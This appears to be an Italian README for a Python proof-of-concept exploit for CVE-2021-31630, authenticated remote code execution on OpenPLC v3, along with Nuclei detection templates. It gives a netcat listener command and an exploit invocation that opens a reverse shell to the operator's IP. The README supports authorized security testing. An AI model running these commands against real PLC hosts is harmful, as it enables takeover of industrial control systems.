
Python 3.13+ exploit proof-of-concept per CVE-2021-31630, che consente l'esecuzione remota di codice autenticata su OpenPLC v3 tramite il caricamento di un layer hardware malevolo. Include template di rilevamento Nuclei per credenziali predefinite e controlli delle vulnerabilità.
Questo è un proof-of-concept moderno compatibile con Python 3.13+ per CVE-2021-31630, una vulnerabilità in OpenPLC v3 che consente a un utente autenticato di caricare un livello hardware personalizzato contenente codice malevolo, portando all'esecuzione remota di codice (RCE) sull'host.
Scoperta originale e advisory della vulnerabilità a cura di Fellipe Oliveira. Questa reimplementazione e modernizzazione utilizza httpx, strumenti CLI, logging e tecniche di rilevamento più sicure.
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001
Flag opzionali:
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
Il secondo template effettua il login e tenta un caricamento innocuo di payload + compilazione per confermare la probabile vulnerabilità — senza attivare la reale esecuzione del codice.
Questo codice è destinato esclusivamente a test di sicurezza educativi e autorizzati. Non utilizzarlo senza il permesso esplicito del proprietario del sistema.